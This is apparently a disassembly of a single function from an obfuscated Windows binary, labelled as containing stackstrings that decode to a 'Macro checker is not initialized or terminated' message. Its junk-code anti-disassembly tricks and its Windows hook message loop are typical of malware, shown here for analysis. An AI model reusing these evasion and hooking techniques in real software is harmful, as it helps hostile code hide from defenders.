Function at 0x10011520
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jae 0x1001151e
jmp 0x10011519
call fcn.10011520
jae 0x10011519
add esp, 4
jmp 0x10011525
dec dword [esp]
jno 0x1001152a
jns 0x10011515
jp 0x1001152e
add esp, 4
popf
jmp 0x10011535
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001154e
jne 0x1001154e
call 0x1fc148a2
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov byte [ebp - 0x38], 0x4d
mov byte [ebp - 0x37], 0x61
mov byte [ebp - 0x36], 0x63
mov byte [ebp - 0x35], 0x72
mov byte [ebp - 0x34], 0x6f
mov byte [ebp - 0x33], 0x20
mov byte [ebp - 0x32], 0x63
mov byte [ebp - 0x31], 0x68
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x63
mov byte [ebp - 0x2e], 0x6b
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x72
mov byte [ebp - 0x2b], 0x20
mov byte [ebp - 0x2a], 0x69
mov byte [ebp - 0x29], 0x73
mov byte [ebp - 0x28], 0x20
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x25], 0x74
mov byte [ebp - 0x24], 0x20
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], 0x69
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x7a
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x20
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x20
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6d
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xf], 0x6e
mov byte [ebp - 0xe], 0x61
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 9], 0x25
mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0
push 1
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x4a0]
push ecx
call fcn.10010bf0
add esp, 0xc
xor eax, eax
test eax, eax
je 0x10011645
jne 0x10011644
call 0x930506cc
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10011653
jmp 0x10011655
je 0x10011650
clc
jae 0x1001165a
cwde
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x1001165f
jne 0x1001165f
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x1001166c
jmp 0x10011667
call 0x1001166e
jae 0x10011667
add esp, 4
jmp 0x10011673
dec dword [esp]
jno 0x10011678
jns 0x10011663
jp 0x1001167c
add esp, 4
popf
jmp 0x10011683
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001169c
jne 0x1001169c
call 0x1fc149f0
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.1001d0d0
clc
jae 0x100116b7
inc edx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x100116c4
jmp 0x100116bf
call 0x100116c6
jae 0x100116bf
add esp, 4
jmp 0x100116cb
dec dword [esp]
jno 0x100116d0
jns 0x100116bb
jp 0x100116d4
add esp, 4
popf
jmp 0x100116db
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100116f4
jne 0x100116f4
lcall 0x749a, 0x3eb037c
sti
jl 0x100116f9
jmp 0x100116fb
je 0x100116f6
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10011715
jne 0x10011714
call 0x9305079c
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10011723
jne 0x10011723
call 0x95d954aa
pop es
adc byte [eax], al
cmp dword [0x100785d8], 0
jne 0x10011965
xor eax, eax
test eax, eax
je 0x10011739
jne 0x10011738
call 0x930507c0
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
test byte [ebx + edi*8 - 8], dh
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10011747
jmp 0x10011749
je 0x10011744
clc
jae 0x1001174e
ja 0x100116d2
je 0x10011753
jne 0x10011753
test byte [esi - 0x64], ah
pushf
push 0xa
jae 0x10011760
jmp 0x1001175b
call 0x10011762
jae 0x1001175b
add esp, 4
jmp 0x10011767
dec dword [esp]
jno 0x1001176c
jns 0x10011757
jp 0x10011770
add esp, 4
popf
jmp 0x10011777
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011790
jne 0x10011790
call 0x1fc14ae4
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov byte [ebp - 0x6c], 0x4d
mov byte [ebp - 0x6b], 0x61
mov byte [ebp - 0x6a], 0x63
mov byte [ebp - 0x69], 0x72
mov byte [ebp - 0x68], 0x6f
mov byte [ebp - 0x67], 0x20
mov byte [ebp - 0x66], 0x63
mov byte [ebp - 0x65], 0x68
mov byte [ebp - 0x64], 0x65
mov byte [ebp - 0x63], 0x63
mov byte [ebp - 0x62], 0x6b
mov byte [ebp - 0x61], 0x65
mov byte [ebp - 0x60], 0x72
mov byte [ebp - 0x5f], 0x20
mov byte [ebp - 0x5e], 0x69
mov byte [ebp - 0x5d], 0x73
mov byte [ebp - 0x5c], 0x20
mov byte [ebp - 0x5b], 0x6e
mov byte [ebp - 0x5a], 0x6f
mov byte [ebp - 0x59], 0x74
mov byte [ebp - 0x58], 0x20
mov byte [ebp - 0x57], 0x69
mov byte [ebp - 0x56], 0x6e
mov byte [ebp - 0x55], 0x69
mov byte [ebp - 0x54], 0x74
mov byte [ebp - 0x53], 0x69
mov byte [ebp - 0x52], 0x61
mov byte [ebp - 0x51], 0x6c
mov byte [ebp - 0x50], 0x69
mov byte [ebp - 0x4f], 0x7a
mov byte [ebp - 0x4e], 0x65
mov byte [ebp - 0x4d], 0x64
mov byte [ebp - 0x4c], 0x20
mov byte [ebp - 0x4b], 0x6f
mov byte [ebp - 0x4a], 0x72
mov byte [ebp - 0x49], 0x20
mov byte [ebp - 0x48], 0x74
mov byte [ebp - 0x47], 0x65
mov byte [ebp - 0x46], 0x72
mov byte [ebp - 0x45], 0x6d
mov byte [ebp - 0x44], 0x69
mov byte [ebp - 0x43], 0x6e
mov byte [ebp - 0x42], 0x61
mov byte [ebp - 0x41], 0x74
mov byte [ebp - 0x40], 0x65
mov byte [ebp - 0x3f], 0x64
mov byte [ebp - 0x3e], 0x2e
mov byte [ebp - 0x3d], 0x25
mov byte [ebp - 0x3c], 0x64
mov byte [ebp - 0x3b], 0
push 2
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x8a0]
push eax
call fcn.10010bf0
add esp, 0xc
xor eax, eax
test eax, eax
je 0x10011887
jne 0x10011886
call 0x9305090e
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10011895
jmp 0x10011897
je 0x10011892
clc
jae 0x1001189c
cwde
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x100118a1
jne 0x100118a1
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x100118ae
jmp 0x100118a9
call 0x100118b0
jae 0x100118a9
add esp, 4
jmp 0x100118b5
dec dword [esp]
jno 0x100118ba
jns 0x100118a5
jp 0x100118be
add esp, 4
popf
jmp 0x100118c5
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100118de
jne 0x100118de
call 0x1fc14c32
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.1001d0d0
clc
jae 0x100118f9
inc edx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x10011906
jmp 0x10011901
call 0x10011908
jae 0x10011901
add esp, 4
jmp 0x1001190d
dec dword [esp]
jno 0x10011912
jns 0x100118fd
jp 0x10011916
add esp, 4
popf
jmp 0x1001191d
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011936
jne 0x10011936
lcall 0x749a, 0x3eb037c
sti
jl 0x1001193b
jmp 0x1001193d
je 0x10011938
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10011957
jne 0x10011956
call 0x930509de
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10011965
jne 0x10011965
call 0x95d556ec
pop es
adc byte [eax], al
cmp dword [0x100785d4], 0
jne 0x1001197b
cmp dword [0x100785d8], 0
je 0x10011c46
push 0
push 0
push 0
lea ecx, [ebp - 0xde8]
push ecx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x100119ae
lea edx, [ebp - 0xde8]
push edx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0xde8]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x1001197b
xor eax, eax
test eax, eax
je 0x100119b7
jne 0x100119b6
call 0x93050a3e
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
test byte [ebx + edi*8 - 8], dh
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100119c5
jmp 0x100119c7
je 0x100119c2
clc
jae 0x100119cc
ja 0x10011950
je 0x100119d1
jne 0x100119d1
test byte [esi - 0x64], ah
pushf
push 0xa
jae 0x100119de
jmp 0x100119d9
call 0x100119e0
jae 0x100119d9
add esp, 4
jmp 0x100119e5
dec dword [esp]
jno 0x100119ea
jns 0x100119d5
jp 0x100119ee
add esp, 4
popf
jmp 0x100119f5
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011a0e
jne 0x10011a0e
call 0x1fc14d62
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov byte [ebp - 0xa0], 0x4d
mov byte [ebp - 0x9f], 0x61
mov byte [ebp - 0x9e], 0x63
mov byte [ebp - 0x9d], 0x72
mov byte [ebp - 0x9c], 0x6f
mov byte [ebp - 0x9b], 0x20
mov byte [ebp - 0x9a], 0x63
mov byte [ebp - 0x99], 0x68
mov byte [ebp - 0x98], 0x65
mov byte [ebp - 0x97], 0x63
mov byte [ebp - 0x96], 0x6b
mov byte [ebp - 0x95], 0x65
mov byte [ebp - 0x94], 0x72
mov byte [ebp - 0x93], 0x20
mov byte [ebp - 0x92], 0x69
mov byte [ebp - 0x91], 0x73
mov byte [ebp - 0x90], 0x20
mov byte [ebp - 0x8f], 0x6e
mov byte [ebp - 0x8e], 0x6f
mov byte [ebp - 0x8d], 0x74
mov byte [ebp - 0x8c], 0x20
mov byte [ebp - 0x8b], 0x69
mov byte [ebp - 0x8a], 0x6e
mov byte [ebp - 0x89], 0x69
mov byte [ebp - 0x88], 0x74
mov byte [ebp - 0x87], 0x69
mov byte [ebp - 0x86], 0x61
mov byte [ebp - 0x85], 0x6c
mov byte [ebp - 0x84], 0x69
mov byte [ebp - 0x83], 0x7a
mov byte [ebp - 0x82], 0x65
mov byte [ebp - 0x81], 0x64
mov byte [ebp - 0x80], 0x20
mov byte [ebp - 0x7f], 0x6f
mov byte [ebp - 0x7e], 0x72
mov byte [ebp - 0x7d], 0x20
mov byte [ebp - 0x7c], 0x74
mov byte [ebp - 0x7b], 0x65
mov byte [ebp - 0x7a], 0x72
mov byte [ebp - 0x79], 0x6d
mov byte [ebp - 0x78], 0x69
mov byte [ebp - 0x77], 0x6e
mov byte [ebp - 0x76], 0x61
mov byte [ebp - 0x75], 0x74
mov byte [ebp - 0x74], 0x65
mov byte [ebp - 0x73], 0x64
mov byte [ebp - 0x72], 0x2e
mov byte [ebp - 0x71], 0x25
mov byte [ebp - 0x70], 0x64
mov byte [ebp - 0x6f], 0
push 3
lea ecx, [ebp - 0xa0]
push ecx
lea edx, [ebp - 0xca0]
push edx
call fcn.10010bf0
add esp, 0xc
xor eax, eax
test eax, eax
je 0x10011b68
jne 0x10011b67
call 0x93050bef
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10011b76
jmp 0x10011b78
je 0x10011b73
clc
jae 0x10011b7d
cwde
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x10011b82
jne 0x10011b82
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x10011b8f
jmp 0x10011b8a
call 0x10011b91
jae 0x10011b8a
add esp, 4
jmp 0x10011b96
dec dword [esp]
jno 0x10011b9b
jns 0x10011b86
jp 0x10011b9f
add esp, 4
popf
jmp 0x10011ba6
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011bbf
jne 0x10011bbf
call 0x1fc14f13
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.1001d0d0
clc
jae 0x10011bda
inc edx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x10011be7
jmp 0x10011be2
call 0x10011be9
jae 0x10011be2
add esp, 4
jmp 0x10011bee
dec dword [esp]
jno 0x10011bf3
jns 0x10011bde
jp 0x10011bf7
add esp, 4
popf
jmp 0x10011bfe
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011c17
jne 0x10011c17
lcall 0x749a, 0x3eb037c
sti
jl 0x10011c1c
jmp 0x10011c1e
je 0x10011c19
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10011c38
jne 0x10011c37
call 0x93050cbf
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10011c46
jne 0x10011c46
call 0x1786f0eb
adc byte [eax - 1], dl
adc eax, sym.imp.USER32.dll_UnhookWindowsHookEx
mov eax, dword [0x100785d4]
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov ecx, dword [0x100785d8]
push ecx
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003be5b
mov esp, ebp
pop ebp
ret 4